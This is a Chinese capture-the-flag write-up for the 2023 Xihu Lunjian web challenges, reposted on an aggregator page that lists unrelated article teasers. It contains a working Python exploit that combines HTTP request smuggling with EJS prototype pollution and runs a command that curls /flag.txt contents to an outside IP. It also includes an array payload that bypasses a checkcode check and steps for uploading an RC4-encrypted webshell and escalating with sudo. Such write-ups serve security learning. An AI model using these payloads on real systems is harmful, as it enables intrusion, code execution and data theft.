西湖论剑 2023 比赛复现

news2024/10/1 21:25:01

WEB

real_ez_node

route/index.js 中:

router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

copy 路由会检验 ip 地址是否为 127.0.0.1,且请求体不能有 __proto__

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
		var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {

在 curl 路由中我们可以用http 请求走私来访问 copy 从而可以绕过 copy 路由里面的 ip 检测,然后利用constructor.prototype 替代 __proto__,最后打ejs就行了。
payload:

import urllib.parse
import requests
payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 192.168.10.104:12345/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")


def encode(data):
    tmp = u""
    for i in data:
        tmp += chr(0x0100 + ord(i))
    return tmp


payload = encode(payload)
print(payload)

r = requests.get('http://192.168.10.104:3000/curl?q=' + urllib.parse.quote(payload))
print(r.text)

Node Magical Login

flag1 可以利用 cookie 令 user=admin 获得。

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

获得 flag2 的条件有两个,一个是 checkcode 的长度要是 16,另一个就是在转小写后要等于 aGr5AtSp55dRacer,但是这根本不可能,我们可以让它提前异常结束,也就是在 checkcode = checkcode.toLowerCase()处异常报错,那么我们可以令 checkcode 为一个数组,且长度为16。

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

payload:

{"checkcode":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]}

扭转乾坤

随便上传一个提示 content-Type 不行,我们只要令第一个 m 大写就可以了。
在这里插入图片描述

unusual php

没环境,就写一下流程吧。

通过 phpinfo 可以看到他使用了 ZendGuard 的加密工具。
可以通过 php.ini 来找到 ZendGuard 扩展的文件名,通过 phpinfo 找到扩展文件也就是 zend_test.so 的位置。(可以在extension_dir 中找到)。

之后通过脚本把扩展保存下来(也可以利用伪协议加密后,再解密,不容易漏字节),放到 ida 中找到 RC4 函数,里面有秘钥(abcsdfadfjiweur)。
使用秘钥加密一句话木马后上传文件,可以用 cyber 网站加密解密。

利用 sudo -l 查看可以执行的命令,利用 sudo chmod 777 /flag ,最后读取 flag。

docker

https://github.com/Randark-JMT/CTF_Archive/tree/main/2022%20xhlj

wp

http://www.hackdig.com/02/hack-904398.htm

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/338145.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【设计模式之美 设计原则与思想:面向对象】13丨实战二(上):如何对接口鉴权这样一个功能开发做面向对象分析?

面向对象分析(OOA)、面向对象设计(OOD)、面向对象编程(OOP),是面向对象开发的三个主要环节。在前面的章节中,我对三者的讲解比较偏理论、偏概括性,目的是让你先有一个宏观…

电脑重装系统注册表恢复方法

​今天讲关于大家的电脑在遇到一些故障的时候,以及电脑用久了之后会卡顿,那么这时候大家一般都会给电脑重装系统。重装系统之后却发现自己电脑里的注册表不见了,重装系统后怎么恢复注册表?小编就带着大家一起学习重装系统注册表恢复到底是怎…

【博客615】通过systemd设置cgroup来限制服务资源争抢

通过systemd设置cgroup来限制服务资源争抢 1、场景 我们的宿主机上通常会用systemctl来管理一些agent服务,此时我们需要限制服务的cpu,memory等资源用量,以防止服务之前互相争抢资源,导致某些核心agent运行异常 2、systemd与cgro…

生成树协议 — STP

目录 一、环路的出现 1、广播风暴: 2、MAC地址表翻滚: 二、生成树 1、定义: 2、生成树使用的算法: 三、802.1D 1、BPDU: 2、TCN—拓扑变更消息(也是BPDU): 3、部分名词&am…

【Python小游戏】某程序员将套圈游戏玩儿到了巅峰,好嗨哟~Pygame代码版《牛牛套圈》已上线,大人的套圈游戏太嗨了,小孩勿进。

前言 世上选择那么多。 关注栗子同学会是您最明智的选择哦。 所有文章完整的素材源码都在👇👇 粉丝白嫖源码福利,请移步至CSDN社区或文末公众hao即可免费。 “幸运牛牛套圈圈”套住欢乐,圈住幸福,等你来挑战&#xf…

用OpeAI API打造ChatGPT桌面端应用

用OpeAI API打造ChatGPT桌面端应用 自从《如何用ChatGPT高效完成工作》这篇文章火了之后,我在公司内部分享了一下”摸鱼“的先进经验,激发起广大同事一起”摸鱼“的热情。但是注册ChatGPT账号非常麻烦,既要Science上网,又要海外手…

Spark环境搭建

文章目录Spark 概述Spark 发展历史使用现状官网介绍流行原因组成模块Spark环境搭建-Local模式(本地模式)Spark环境搭建-Standalone(独立集群)Spark环境搭建-Standalone-HA(高可用)Spark环境搭建-Spark-On-Yarn两种模式Spark 概述 Spark 发展历史 2009年诞生2014年成为Apache顶…

Java笔记-线程中断

线程的中断 1.应用场景: 假设从网络下载一个100M的文件,如果网速很慢,用户等得不耐烦,就可能在下载过程中点“取消”,这时,程序就需要中断下载线程的执行。 2.常用中断线程的方法: 1.使用标…

Canvas鼠标滚轮缩放以及画布拖动(图文并茂版)

Canvas鼠标滚轮缩放以及画布拖动 本文会带大家认识Canvas中常用的坐标变换方法 translate 和 scale,并结合这两个方法,实现鼠标滚轮缩放以及画布拖动功能。 Canvas的坐标变换 Canvas 绘图的缩放以及画布拖动主要通过 CanvasRenderingContext2D 提供的 …

C++设计模式(13)——装饰模式

亦称: 装饰者模式、装饰器模式、Wrapper、Decorator 意图 装饰模式是一种结构型设计模式, 允许你通过将对象放入包含行为的特殊封装对象中来为原对象绑定新的行为。 问题 假设你正在开发一个提供通知功能的库, 其他程序可使用它向用户发…

注册ChatGPT的辛酸血泪史,不能算教程的教程

注册ChatGPT的血泪史 2月份了,改论文降重了,所以想搞个ChatGPT玩玩,本以为有渠道能顺序上车,但是看了很多教程,也进了很多交流群,都喵的(要不是卖号,租体验,liar),所以自…

java ssm高校教材管理平台 idea maven

设计并且实现一个基于JSP技术的高校教材管理平台的设计与实现。采用MYSQL为数据库开发平台,SSM框架,Tomcat网络信息服务作为应用服务器。高校教材管理平台的设计与实现的功能已基本实现,主要学生、教材管理、学习教材、教材入库、教材领取、缴…

C语言 大数加法 大数乘法

最近刷题,总遇到大数加法(浮点数)和乘法问题(阶乘),总结一下思路。 大数乘法主要思想:编程实现竖式乘法(小学时候学的列竖式计算乘法)创建一个很大的数组,用于存储大数的每一位。&am…

Android Q WiFi 代码框架

同学,别退出呀,我可是全网最牛逼的 WIFI/BT/GPS/NFC分析博主,我写了上百篇文章,请点击下面了解本专栏,进入本博主主页看看再走呗,一定不会让你后悔的,记得一定要去看主页置顶文章哦。 1 wifi 架构图 备注:在Android 9.0中,WiFi的状态处理在WifiStateMachine中进行,到…

c语言数据结构-图的遍历

(创作不易,感谢有你,你的支持,就是我前行的最大动力,如果看完对你有帮助,请留下您的足迹) 目录 定义: 两种遍历方法: 深度优先搜索(DFS): …

ElasticJob-Lite架构篇 - 认知分布式任务调度ElasticJob-Lite

前言 本文基于 ElasticJob-Lite 3.x 版本展开分析。 如果 Quartz 集群中有多个服务端节点,任务决定在哪个服务端节点上执行的呢? Quartz 采用随机负载,通过 DB 抢占下一个即将触发的 Trigger 绑定的任务的执行权限。 在 Quartz 的基础上&…

从0到1一步一步玩转openEuler--10 openEuler基础配置-设置kdump

10 openEuler基础配置-设置kdump 文章目录10 openEuler基础配置-设置kdump10.1 设置kdump10.1.1 设置kdump预留内存10.1.1.1 预留内存参数格式10.1.2 预留内存推荐值10.1.3 禁用网络相关驱动10.1 设置kdump 本节介绍如何设置kdump预留内存及修改kdump配置文件参数。 10.1.1 设…

写python爬虫,你永远绕不过去代理问题

如果你想要从事 Python 爬虫相关岗位,那你一定会接触到代理问题,随之而来的就是下面 5 大代理知识点。 什么是代理:代理是网络中间人(中间商赚插件),它代表用户发送网络请求,隐藏用户的真实身份…

JDY-31蓝牙模块使用指南

前言 本来是想买个hc-05,这种非常常用的模块,但是在优信电子买的时候,说有个可以替代的,没注意看,买回来折腾半天。 这个模块是从机模块,蓝牙模块分为主机从机和主从一体的,主机与从机的区别就…

【安全】nginx反向代理+负载均衡上传webshel

Nginx负载均衡下上传webshell 什么是反向代理? 正向代理就是代替客户端进行各种服务的访问以及获取;那么反向代理自然就是代替服务器进行事务处理,就是此时的代理服务器负责将用户的各项请求做一个汇总、分类,将其分发到不同的服务…